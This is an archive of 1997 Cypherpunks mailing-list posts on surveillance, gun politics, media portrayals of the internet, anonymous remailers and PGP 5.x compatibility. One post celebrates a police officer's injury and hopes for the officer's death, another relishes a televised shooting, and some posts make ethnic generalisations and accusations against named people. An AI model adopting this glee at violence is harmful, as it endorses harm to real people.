> right to live peacefully on our property.  Our government cannot, on
> a whim, destroy what we have worked so hard to build.
> Certain sections of our government are testing American's resolve.
> They are looking to see where we draw the line.  In New River, we
> have drawn that line in the dirt we hold sacred.  We will not allow
> the burn and will not leave our homes.
> A talk show host in Phoenix called what's happening here "The New
> River Rebellion."  We do not want New River added to the list of
> American Tragedies that  includes Ruby Ridge and Waco.  Call your
> own congressman or senator.  Let them know that you know about New
> River.  If we let it happen here, where will it stop?
>
> Contact the following people/locations for comments or more
> information:
> Karmann Powell - byteme@msn.com
> The Desert Advocate, Karen Seemeyer, Editor - thedesadv@aol.com
> The Arizona Republic - being covered by Timothy Tait
> timothy.tait@pni.com
>
> --
> (byteme@msn.com)
> AirPower Services BBS - (610) 259-2193 - info@airgunhq.com
> Interested in Firearms, RKBA, Airguns, the Shooting Sports?
>             PRN Regional HQ, Northeast United States
> *  Jim Henry and AirPower Services take no responsibility for *
> *  message content as this is an *un-moderated* list.         *
--
 John_Johnson
 TXJohn47@ix.netcom.com
 (c) 1997 All rights reserved

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 1 Nov 1997 18:55:55 +0800
To: cypherpunks@toad.com
Subject: Re:
In-Reply-To: <059ba8257a50981b642ca5005181f75d@anon.efga.org>
Message-ID: <199711011024.LAA08905@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>I am a bit confused. A post to the list claimed that the fifteen year
>old who raped and murdered the eleven year old (both boys) had not
>met his victim on the internet, as initial media sources indicated,
>but on an 800 number phone-chat line.
>I vaguely recall doing a web search to find out the facts for myself
>and confirming the claim. Now I am watching Sixty Minutes on tv and
>they keep repeating the mantra, "met on the internet, met on the 
>internet..."
>Does anyone have the so called real scoop on this?
>
>Thank You
>

Does it really matter now where they met? They could have met at school,
in the park, at a christian day camp, in the back room of a gay bar,
wherever. As long as they both had a passing interest in computers or
even had access to a computer they met on the internet. 

"people are hitting on kids"
"people are sending kiddie porn"
"terrorists and criminals are using it to hatch schemes to kill kids"
"kids are using it to meet criminals and terrorists"
"kids are hitting on terrorists who send kiddie porn"

If I were someone who wanted to make the internet look like a place 
that needed STRONG governmental controls I would put the words 
terrorists,criminals,pornographers,drug dealers/addicts,
hate groups, or any other words that the american public has 
been trained to associate with fear and hatred in a story about 
the internet and pepper it with lines like " 10,000,000 children 
have home computers" and "its the children that lose out" and 
"no longer safe in the dangerous urban streets, children must turn to
the internet" and a few things about losing their innocence at a tender
age. Then I would call the peice "the secret war against our children"

The same people who rushed to associate crime with rock and roll 
music then later rap music, and the same people that rushed to 
associate bizzare murders with dungeons and dragons and then later vampire
role playing games, and the same people who belive that someone
who has unprotected sex with someone to get drugs is not at all 
responsible when they get aids, the same people that endorse cerfews
"to protect children" and agree that high school students should be
sujected to mandatory drug tests and locker searches will all run to
endorse any laws that the government wishes to place regarding "protecting
children on the internet" 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Sun, 2 Nov 1997 00:36:13 +0800
To: "Tim May" <cypherpunks@Algebra.COM>
Subject: Re: apropos list talk and our culture
Message-ID: <199711011630.LAA23465@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 10/29/97 10:06 AM, Tim May (tcmay@got.net)  passed this wisdom:

>>At 5:38 AM -0700 10/29/97, Brad Dolan wrote: "Michael Hays" is a 
>>new CBS series about a U.S. District Attorney. Last night's episode 
>>was about how a radio talk-show host incited a listener to kill a 
>>BATF agent and was brought to justice. DA convinced a jury that 
>>some things were "more important" than the first amendment.
>
>I was just about to mention this show, in connection with the Waco 
>incident.
>
>I was truly disgusted by the show. None of the relative balance and 
>realismthat "Law and Order" has, by comparison. For starters, very 
>unrealistic. Even Freeh and Company understand the role of the 
>First (to give them theirdue). Just plain bad writers.

  I really disagree with your overall assessment, but yes it definitely 
wasn't in a league with L&O and the script was somewhat uneven

>Some of the slimy stuff: (all quotes are rough paraphrases)
>
>* references to Waco followers as crazies: "they seem to show up 
>everywhere"
>
>* a black assistant to Hayes talks about the chat rooms and online 
>discussion groups that the "extreme right wing" people are in: "And 
>this stuff is completely unregulated!"

  these were out of line and sort of to be expected these days

>* the First Amendment is seen as a minor obstacle to prosecution. 
>Hayes congratulates his assistant at the end for finding a way 
>around the First as a defense.

  Thats not how I viewed it, I don't remeber the words, but I saw it that 
he was not going to 'go after' the first amendment and cautioned them 
about how unwise that was. 

>* the talk show host has apparently done nothing more than many of 
>us havedone on this list
>
>* he is convicted because he claimed not to have ever met the 
>murderer, buta tearful witness (girlfriend of the murderer) says 
>they did meet, briefly.
>
>(No evidence is presented that the talk show host participated, 
>supplied weapons, encouraged the murderer, etc.)

  maybe I am dreaming about something else, but I think they clearly 
showed that he had met with the guy and was fully aware that he was a 
crazy and could be pushed over the line

>* Oh, and to add to the sliminess, the DA's office promises the 
>tearful girlfriend that her boyfriend will get a life sentence 
>instead of death if she testifies, but "whoops."

  definite slime 

>After the assistant to Hayes talks about the Net being "completely 
>unregulated!," and after finding the "Pentium II with 48 megs of 
>memory," I was expecting some mention of encryption. As a way to 
>further show how evilthe online community is. But I saw no mention.

   well gee maybe we should arrest everyone with a pentium/ppc and more 
than 16 Megs of RAM for possesion of 'cyber-terrorist' tools

>I will admit to a guilty pleasure: the opening scene, where the 
>BATF agentgets shot in the face, was delicious.  

   I looked at it with mixed emotions ... BATF is made up of guys and 
gals just like us, some good, some bad, some sheep. The problem with BATF 
is that their leadership sucked and the bad ones got their way. Just like 
years ago, when Philadelphia elected Frank Rizzo (former Police 
Commsisioner) mayor ... he wasn't a bad cop but ran a little rough shod 
over the Bill of Rights from time to time ... with him as Mayor, the 
Philadelphia PD went to hell in a handbasket because all his old cronies 
could get away with murder (often literally!)



Brian B. Riley --> http://www.macconnect.com/~brianbr
 For my PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>   
        

  "...error reading WinOS. (A)bort, (R)etry, (M)acintosh?"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 2 Nov 1997 01:30:55 +0800
To: toxic@content.org
Subject: [FWD] Further Attacks on "cajones.com" Vindicate Jeff Burchell and the Huge Cajones Remailer
Message-ID: <a0f23b37c01ef3769a3b265ba166e085@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



dr@ripco.com (David Richards) wrote:

> It appears that the domain 'cajones.com' is being abandoned due to the
                              ^^^^^^^^^^^
> massive forgery by spammers? No nameservers respond...
  ^^^^^^^^^^^^^^^

> Enclosed is a spam recently received, through the open relay 'rio.bravo.net'
> from an IBM.NET dialup.
>  
> Note that the only body text in this spam is a URL that doesn't work because
> the spammer truncated the URL, and the complete url points to what appears
> to be a legitimate site, so he was probably trying to promote a personal
> home page or other sub-site on 'http://www.fcl.metronet.lib.mi.us/'
>  
>  
> === Spam with headers intact ===
> 
> From cajones.com!weijoro79 Fri Oct 31 22:58:42 1997
> Return-Path: <weijoro79@cajones.com>
> Received: from rio.bravo.net (root@207.48.46.12)
>   by XXXXX.ZZZZZ.com with SMTP; 1 Nov 1997 04:58:38 -0000
> Received: from LOCALNAME (slip166-72-172-87.fl.us.ibm.net [166.72.172.87]) by rio.bravo.net (8.6.12/8.6.9) > with SMTP id WAA24372; Fri, 31 Oct 1997 22:32:27 -0600            
> Date: Fri, 31 Oct 1997 22:32:27 -0600
> From: weijoro79@cajones.com               
> To: weijoro79@cajones.com
> Comments: Authenticated sender is <weijoro79@cajones.com>
> Errors-To: nobody@nowhere.com
> Subject: Create custom targeted e-mail address lists...
> Message-Id: <199711012578NAA22995@cajones.bravo.net>
>  
> http://www.fcl.metronet.lib.m
 
That's quite interesting.  Spam is arriving with forged headers that
attempt to implicate "cajones.com".

That domain has quite a colorful history.  According to InterNIC records,
it's operated by Jeff Burchell, who is also the former operator of the
defunct Huge Cajones Remailer which he operated as part of that domain.

Along came Gary Burnore <gburnore@netcom.com>, CEO of DataBasix, who
claimed that Jeff's remailer at cajones.com was being used to "forge"
his e-mail address to Usenet articles.  His only evidence was a few 
messages which happened to have a "cajones.com" message id in the 
headers, and they weren't even very convincing forgery attempts at that. 

Gary Burnore, Belinda Bryan <eridani@ix.netcom.com>, and William J. 
McClatchie (aka "Wotan") <wmcclatc@primenet.com> managed to harass Jeff 
sufficiently that he shut the remailer down.  At the time, Burnore
refused to concede the possibility that any "forgeries" of articles in 
his name might also have forged headers designed to implicate 
"cajones.com" as well.  Rather he relied on the fact that Jeff kept no
logs which could prove the innocence of himself and his remailer.

Now the "cajones.com" domain is dead, and yet it's still showing up in
forged headers!  It looks like another of Gary Burnore's "shoot first
and ask questions later" accusations has been cast into doubt.
Unfortunately, it's probably too late to undo the disinformation
campaign that he waged against Jeff Burchell and other remailer
operators.

--
Without censorship, things can get terribly confused in the public mind.

 -- General William Westmoreland   





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 2 Nov 1997 02:34:30 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Source code obfuscation
In-Reply-To: <199710281613.LAA28421@users.invweb.net>
Message-ID: <Pine.BSF.3.91.971101115621.21507D-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




If you can generate useful source code, you should be able to write a 
useful parser that strips out comments. You can also "search and replace" 
variable names w/ obscure ones - just dont miss any.  ;)

-r.w.

On Tue, 28 Oct 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <Pine.BSF.3.96.971028165130.13198F-100000@pakastelohi.cypherpunks.to>,
> on 10/28/97 
>    at 04:52 PM, Lucky Green <shamrock@cypherpunks.to> said:
> 
> >Is anyone familiar with tools that can be used to 
> >obscure source code so that it builds, but no longer
> >contains comments or useful variable or procedure
> >names?
> 
> Write it in ASM, 99.9% woun't have a clue to what it is. :)
> 
> - -- 
> - ---------------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
> OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
> - ---------------------------------------------------------------
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3a
> Charset: cp850
> Comment: Registered_User_E-Secure_v1.1b1_ES000000
> 
> iQCVAwUBNFYOgY9Co1n+aLhhAQGMIAQAx42lvkz9dynJF5jwjmzenn9VrjwNS1MB
> hq93tq2X8kQVjrZq4D+pmztCdFqatMiO4a4q0xLuwewQQ4gH7mcpVo5OixPONldr
> oS/rd6bf/U8yNDQvW9N+1nh2nzOV01UFoXbz0hUjhgvZpQlvs0Xs+2V1CVk1q6hA
> 3jhSS8ZwSaI=
> =ckXx
> -----END PGP SIGNATURE-----
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 2 Nov 1997 02:45:23 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Tim's AK47 is a BB gun
In-Reply-To: <v03102802b07d8d6546eb@[207.167.93.63]>
Message-ID: <Pine.BSF.3.91.971101120752.21507F-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Wed, 29 Oct 1997, Tim May wrote:

> I wrote:
> 
> ---
> 
> The Klinton Klan has already effectively banned imported SKS ammo (7.62x29,
> as I recall, given that I don't have any rifles chambering this popular
> round).
> 
> ---
> 
>  Before you rush to correct me, I _meant_ to write "7.62x39" of course.
> 
> 
> (A round used by the Chinese, Soviet, and East Bloc nations, and roughly
> equivalent to the American M-16 round, known either as the .223 or 5.56mm.
> The NATO "7.62" is in a longer case length. 7.62x54, as I recall. Known in
> America as .308.
> 

Just how is a 7.62mmxanything equivilent to a 5.56mm?

The cartridge you refer to is typically used in AK-47 and similar 
weapons. The bullet is the same diameter (7.62mm) as the NATO 7.62mm / 
.308 round, but the cartridge has a different length.

OrdnanceMonger

Advice of the day: "FRONT TOWARDS ENEMY"


> --Tim May
> 
> The Feds have shown their hand: they want a ban on domestic cryptography
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^2,976,221   | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 2 Nov 1997 02:49:41 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Victim Ordered to Surrender Computer and Passwords
In-Reply-To: <v03110744b07e64c03d53@[139.167.130.248]>
Message-ID: <Pine.BSF.3.91.971101122030.21507H-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




Along the lines of keeping a "throw away" handgun around ... keep a 
"throw away" computer.


On Thu, 30 Oct 1997, Robert Hettinga wrote:

> 
> --- begin forwarded text
> 
> 
> Resent-Date: Thu, 30 Oct 1997 10:11:33 -0500
> X-Authentication-Warning: qnx.com: localhost [127.0.0.1] didn't use HELO
> protocol
> To: 0xdeadbeef@substance.abuse.blackdown.org
> Cc: bostic@bsdi.com
> Subject: Victim Ordered to Surrender Computer and Passwords
> Date: Thu, 30 Oct 1997 10:04:22 -0500
> From: glen mccready <glen@qnx.com>
> Resent-From: 0xdeadbeef@substance.abuse.blackdown.org
> X-Mailing-List: <0xdeadbeef@substance.abuse.blackdown.org> archive/latest/2399
> X-Loop: 0xdeadbeef@substance.abuse.blackdown.org
> Precedence: list
> Resent-Sender: 0xdeadbeef-request@substance.abuse.blackdown.org
> 
> 
> Forwarded-by: Peter Tonoli <anarchie@brimstone.suburbia.net>
> 
> Date: Mon, 27 Oct 1997 03:02:58 -0500
> From: David Kennedy <76702.3557@compuserve.com>
> Subject: Victim Ordered to Surrender Computer and Passwords
> 
> Approved: proff@suburbia.net
> 
> Cyber Allegations (AP US & World  21 Oct 1997)
> 
> >   PONTIAC, Mich. (AP) -- A woman who said she was sexually assaulted by a
> > man she met through an on-line "chat room" has been ordered to turn over
> > her computer for examination by the defendant's lawyer.  Circuit Judge
> > Alice Gilbert issued the order Oct. 8 after the defendant said another
> > computer user told him that the woman had bragged on-line -- in a chat
> > room called "Man Haters" -- about making up the story.  The woman was
> > also ordered to reveal her password and on-line aliases.
> 
> o The accused, a 26-year old is alleged to have pulled a knife and attacked
> the victim after a date on Feb 28th.  Prosecutors have said they will
> appeal.
> 
> > "In my view, turning over somebody's computer these days is the same as
> > asking to go through their diary or mail," said prosecutor John
> > Pietrofesa.  Inspecting computer records from the opposing side, while
> > relatively new in criminal cases, has become common in civil cases, said
> > Michigan lawyer and computer law expert Robert A. Dunn.  In civil cases, a
> > judge will institute safeguards such as making both sides sign a
> > confidentiality agreement that information gleaned from computer records
> > will not be disclosed outside of court, he said.
> 
> Dave Kennedy CISSP, National Computer Security Assoc
> 
> --- end forwarded text
> 
> 
> 
> -----------------
> Robert Hettinga (rah@shipwright.com), Philodox
> e$, 44 Farquhar Street, Boston, MA 02131 USA
> "... however it may deserve respect for its usefulness and antiquity,
> [predicting the end of the world] has not been found agreeable to
> experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
> The e$ Home Page: http://www.shipwright.com/
> Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Sun, 2 Nov 1997 04:46:02 +0800
To: JonWienk@ix.netcom.com
Subject: Re: Technology 'secures' gunfire [CNN]
In-Reply-To: <3.0.3.32.19971101101925.006eb57c@popd.netcruiser>
Message-ID: <199711012030.MAA03169@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Jonathan Wienke writes:
> 
> ----==--=----===--===--==---==-====--==--=-=----=-
> Mime-Version: 1.0
> Content-Type: text/plain; charset="us-ascii"
> 
> At 09:06 PM 10/31/97 -0600, Jim Choate wrote:
> >Forwarded message:
> >
> >>                    TECHNOLOGY 'SECURES' GUNFIRE IN THE CITY
> >>                                        
> >>      Secures October 31, 1997
> >>      Web posted at: 4:44 p.m. EST (2144 GMT)
> >>      
> >>      ARLINGTON, Virginia (CNN) -- If you heard gunshots ring out in your
> >>      neighborhood, you might be able to tell the general direction they
> >>      came from. And if you happened to glance at your watch, you could
> >>      say about what time. In maybe a minute, if you were so inclined, you
> >>      could call the police to report it.
> >>      
> >>      Now police have an electronic witness that can provide similar
> >>      assistance: a device called SECURES that pinpoints the time and
> >>      location of gunshots.
> 
> This would be a network of microphones and processing stations which could
> perform a reverse-GPS location analysis of sounds picked up by 3 or more
> microphones.  (Sounds common to 2 microphones could be localized with a
> lower degree of accuracy if directional microphone arrays are used.)  Yet
> another instance of Big Brother technology that is of limited value to the
> police.  Of course, this means that you will have the police responding to
> every backfiring car, which will dampen their enthusiasm for responding
> unless full-auto fire or a prolonged gunfight is overheard.


They've been testing this in the city I live in.  The police got
the company who makes it to set it up as a demo.

There's a significant area of town in which most of the residents
are mexican, and they have a habit of firing guns in the air on
important holidays.  The gunshot locator was installed primarily for
tracking down such shooters.

It turns out that it doesn't work very well- when the demo came up or
review, the police said that they didn't want to buy the system, because
it can't tell the difference between a gunshot and a car backfire and
the cops were wasting time searching for non-existent 'gunfire'.

There was an outcry from the citizenry- evidently the gunshot locator
made them "feel safer" although even the cops claim its ineffective.
The sheeple prevailed, and the city council coughed up the money to buy it.




-- 
Eric Murray  Chief Security Scientist  N*Able Technologies  www.nabletech.com
(email:  ericm  at  lne.com   or   nabletech.com)          PGP keyid:E03F65E5





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 1 Nov 1997 21:12:30 +0800
To: Tim May <tcmay@got.net>
Subject: Re: apropos list talk and our culture
Message-ID: <199711011312.NAA13437@mail.iso.port.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain



>I will admit to a guilty pleasure: the opening scene, where the BATF agent
>gets shot in the face, was delicious.

It is often said that American TV is utter rubbish, but
surely this would be the saving grace of such a programme.

I too experienced such an effect a few days ago, when exiting
a stretch of dual-carriageway I saw a car accident up ahead, I
slowed down to see what had happened and saw a police motorcycle
crushed under a car`s wheels, and the badly injured officer being
stretchered away to an ambulance, a grin spread accross my face and
I started laughing. A fine sight.

Of course this story, which, since it involves the injury (and, I sincerely
hope, eventual death) of a jackbooted thug, has a sad side to it, The police
bikes 
were being riden unsafely and without any regard for other motorists (they
were in a 
convoy of about 30 bikes presumably guarding some statist motherfucker), but
I would 
lay money that the driver who was hit by the cop bike is blamed and
prosecuted for 
the accident.

Paul Bradley, currently in limbo between accounts but always reachable
at paul@fatmans.demon.co.uk

                Paul Bradley
          paul@fatmans.demon.co.uk
           SMS: +44 (0)410933621
  "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 2 Nov 1997 02:39:31 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [SURVEY] pgp5.x / pgp2.x users
Message-ID: <d7398092218ec328be03256d0d8c83a9@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk> wrote:

>Fill out and email me, and I'll tabulate results, and post here and on
>ietf-open-pgp:

>==============================8<==============================
>mini straw poll on pgp2.x and 5.x usage:
>
>1. What are you currently using for everyday use: 2.x or 5.x

>[ 2 or 5 ]

2.x. 5.x is purposefully incompatable and crippled.

>2. What proportion of people you use PGP to communicate with are using 5.x

>[ x / y ]

None. If they're using 5.x I by definition can't communicate with them.

>3. How many of the 5.x users you communicate with are cypherpunks

>[ z ]

See above.

>==============================8<==============================

>The question has come up on ietf-open-pgp as to how important it is
>for the OpenPGP standard to support backwards compatibility with
>pgp2.x.

Very. 5.x right now is nothing but annoying. I can understand wanting to use
the new algorithms. However if the authors want to do that and literally
force people into upgrading then they need to make sure that every
platform which had a version of 2.x has a version of 5.x available, and they
need to stop breaking *every* script and program which calls PGP. If they 
release a version of PGP for one platform before they do others and the new
version is incompatable with the old for all intents and purposes, they're
just feeding OS wars, frustration, and hostility.

>The IETF generally likes to steer clear of patented algorithms as
>MUSTs in standards.  This encourages implementations, etc.
>(Personally I'm pretty keen on this point, though I would like more
>backwards compatible pgp5.x implementations -- I've already received
>emails I can't read without resorting to the pgp5 command line app,
>which doesn't work with my mailer integrated system.)

That's exactly my situation. I figure, however, that if somebody is going to
send out broken email I won't bother kludging around to read it no more than
I will go start X11 and fire off a 20 MB browser (Communicator) because some
moron doesn't know how to use HTML as it was originally designed. I'm 
personally appalled at the number of Cypherpunks using a version of PGP
which is completely incompatable with previous versions and outrageously
annoying to use unless you run Windows since it breaks everything which is
integrated.

>So the question arises, just how many pgp2.x users are there.  PGP Inc
>are pointing to the ratio of RSA keys to DSA/EG keys on keyservers as
>showing that pgp2.x users are in the minority.  However that ratio is
>something like 20,000 to 75,000, and I'm sure we've heard statistics
>in the past about there being literally millions of pgp 2.x users.
>One suspects that either many pgp 2.x users aren't using keyservers (I
>know several cypherpunks who have something against key servers and
>avoid them for perceived security or privacy reasons), and/or the
>pgp2.x user base is exaggerated.

You can't compare the user bases this way. 

First, 5.x integrates easily into several Windows mailers. This encourages
people to go get it and install it over 2.x. 

Second, 5.x integrates keyserver functions. 2.x does not. It's really no
work for 5.x users to submit a key to a keyserver, where it takes some
effort with 2.x. 

Third, most people probably have Windows installed already. They heard 5.x
was out, and didn't realize that it was so...well, broken. I know I fetched
5.x when it came out and installed it. I almost sent my key to the servers, 
then stopped to think about how the generated key doesn't work with 2.x. 

Fourth, if you're using Windows and communicating with other Windows users
there is really no reason not to use 5.x. People communicating with
classmates at universities and such are likely to go install 5.x because it's 
easy to use, send their key to the keyservers because they can, and inflate the
numbers.

Fifth, there are far more Windows users than users of other OSes. Windows
users have no reason not to upgrade, while other users have every reason
to stick with previous version.

I think the major problem with 5.x right now as it stands is the complete
lack of support from http://beta.pgp.com, the forced command-line
incompatabilities, and the lack of a stable multiplatform version. Add to
that the CMR debacle. 

Now in defense of PGP 5.x I do like the keyserver integration, expiry dates
on keys, and some of the other features. I like how it integrates with the
mailers. 

This entire thing makes me think of a web site which checks your browser and
OS. If you aren't running what the author likes, it tells you that you suck,
you're a moron, you're behind the times, you're using an inferior operating
system, and then doesn't show you the data. This is analogous to what PGP 
Inc. has done. This compatability thing could have very easily been avoided.

Face it, PGP Inc. screwed up. I think it's ultimately going to be the job of
Cypherpunks outside of the Land of the Freeh to clean up their mess.

Has anyone considered hacking up 2.6.xi to handle the new format? It would
have to be saner than 5.x is at this point. I would try, but I'm in the Land 
of the Freeh where you put your backside on the line to write any crypto 
software at all.

Ah, I love America.

CompatabilityMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "wabe" <wabe@smart.net>
Date: Sun, 2 Nov 1997 02:42:18 +0800
To: <cypherpunks@toad.com>
Subject: Re:
Message-ID: <01bce70b$eb196da0$c27f61ce@dave>
MIME-Version: 1.0
Content-Type: text/plain



yeah, so ABC has an absolutly discusting thing last night
(was that 20/20) that I watched for almost 20 minutes,
in which they actually showed the "raptists" (he met
and had sex? with a fifteen year old girl.)  

Who even meets girls on the internet?  Then there was a
proto-hacker who shut down the porn chat rooms on Aol.
(I commend him, if for nothing else, than for developing
software that shuts down parts of AOL. :>)   Anyways,
Mr. Protohacker actually cried on the camera, because he
was raped at age 4, and he couldn't believe we let
those pornographers on the internet to spread
their web of filth.

When TV gets into the war against the Internet, it 
scares me.  I don't want a war between the bible belt
and the technocrats...

_______________________________________
-wabe



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Mon, 3 Nov 1997 05:38:55 +0800
To: cypherpunks@cyberpass.net
Subject: re: Speech as co-conspiring? I don't think so.
Message-ID: <199711022133.PAA21644@multi26.netcomi.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
>According to the dubious logic of that episode, no doubt they would
>say they were innocent because they had not _met_ me on any
>occasions. If, however, the prosecution could produce a witness
>saying she had seen me in the company of the writer, director,
>producer, etc., then their bacon would be cooked. By the logic of
>their episode, of course.

That's what their smart alecky lawyer will claim, anyway.  I am
confident that a jury made up of good red blooded Americans will see
through this sham.

The producers of the show certainly know that there are terrorist
elements and psychopaths who would be watching.  They know that these
people will be turned on by the imagery of a BATF agent being brutally
murdered.  They could have told the same story using different
imagery.  Instead of using graphic violence, they could have expressed
the idea of the BATF agent getting killed with a heartrending scene of
his wife getting the phone call.  That certainly would not have been
inflammatory.

But they didn't.  The opted to go with a glorification of the act.
Why?  Incompetence won't wash - anybody getting to national TV has
spent years in the business and is a total pro.  They know what effect
they are having.

They glorified this act of violence to encourage others to do the
same.  Where is the FBI?  Why isn't anybody doing anything?  If the
life of only one BATF agent is spared, it will be worthwhile!  Think
of his poor wife and kids.

>>(*) Tim seems too wiley to be crazy.  Instead, he seems to be playing
>>The Most Dangerous Game: Fed baiting.
>>
>
>It used to be called "free speech."
>
>Nowadays, admitting that one has guns is fed baiting. Admitting that
>one will defend one's self is fed baiting. Admtting that one has read
>certain books is fed baiting. And using unbreakable crypto is fed
>baiting.
>
>Ah, what has the world come to?

Remailers?  ;-)

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNFznlZaWtjSmRH/5AQHXxAf9H3MKpSwCCDl0HHjH8eKQ+k6p+knULe0y
L4VHlx0ZHO45De3zIAkp/j4RMQtAxrC7tsWWbVe+FDeLUTJpOzZPauH43xAfcEsL
nJZUkgIgMFv9CiUC5ybhjJdzyfTeuxeqo1juTVSQlOkUzqUb78EgawhsqebFeOlp
/Qni+kVdjMeMiwoJR6wDL7bntVg5ojmiBH1CEdSth0hLm7fF7pn3kzJPlod0SXzJ
NWanQa7TZwEpqkWFJ0n4ompYb/Hu6E407MhmushDQFT0W1/ayBP8pa3m65PmCSpf
B/+Y49KK49b7GLUyHaoqJ8KB39+uVAbFZ4ZlX03/nXpUFUarGrV/tw==
=NKOt
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Mon, 3 Nov 1997 05:43:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP compatibility
Message-ID: <199711022136.PAA21739@multi26.netcomi.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Lucky Green wrote:
>On Sun, 2 Nov 1997, Robert A. Costner wrote:
>> My copy of PGP 5.0 seems to be completely compatible with 2.6 versions.  This 
>> message is signed, and my key is included within the message for those of you 
>> who have software that discards the non signed portion.  (If you don't know 
>> how to extract my key, copy it and fix the broken dashed line, or use a 
>> keyserver)
>
>Of course your copy of PGP 5.0 is compatible with prior versions. I know
>this, you know this, and the anonymous author claiming otherwise knows
>this. He simply hopes that there are some people that don't know this. The
>idea behind the original post and others like it over the last few days is
>to spread FUD about PGP 5.0 after other attacks failed for lack of merrit.
>If you repeat a lie often enough, eventually some people will believe you. 
>PSYOPS 101. Let's not fall for it.

Actually, the cry of "Infowar!" itself could be used as a disruptive
technique.  It undermines dialogue.  It breeds suspicion and paranoia.
It encourages people to think of those who disagree with them as The
Enemy.  It can be used by a mole for cover.

Gee, come to think of it, isn't Lucky the one who keeps trying to
demoralize everyone by saying that Big Brother is inevitable?

And, who was it that was waving around firearms at a Cypherpunks
meeting?  Isn't that a classic provocateur technique?  (See the Earth
First experience, for example.)

Now, I think it's unlikely that Lucky is a mole.  I'm just trying to
show that once you start witch hunting, it turns out that the supply
of witches tends to be highly responsive to demand.

The Back Technique of fighting Infowar seems to be effective.  Treat
the claims of the suspected Infowarrior as if they are credible and
carefully explain why there is an inaccuracy.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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lqEqWksZVDKTbW8Bwc/1Up5Eek/YXzj1kT/YMnxB2bbnASfIA19GtA==
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-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sun, 2 Nov 1997 06:30:06 +0800
To: Tim May <tcmay@got.net>
Subject: effective GACK fighting
In-Reply-To: <v03102809b07aa62a7746@[207.167.93.63]>
Message-ID: <199711012215.OAA17651@netcom4.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




the key battles will be waged in the courtrooms after any
laws get passed. frankly, I admit I am stunned with the
seeming ease with which various bad laws get passed. in my
youthful naivete I would have thought that an unconstitutional 
bill, or one with the slightest doubt, wouldn't even be
remotely *considered*. 

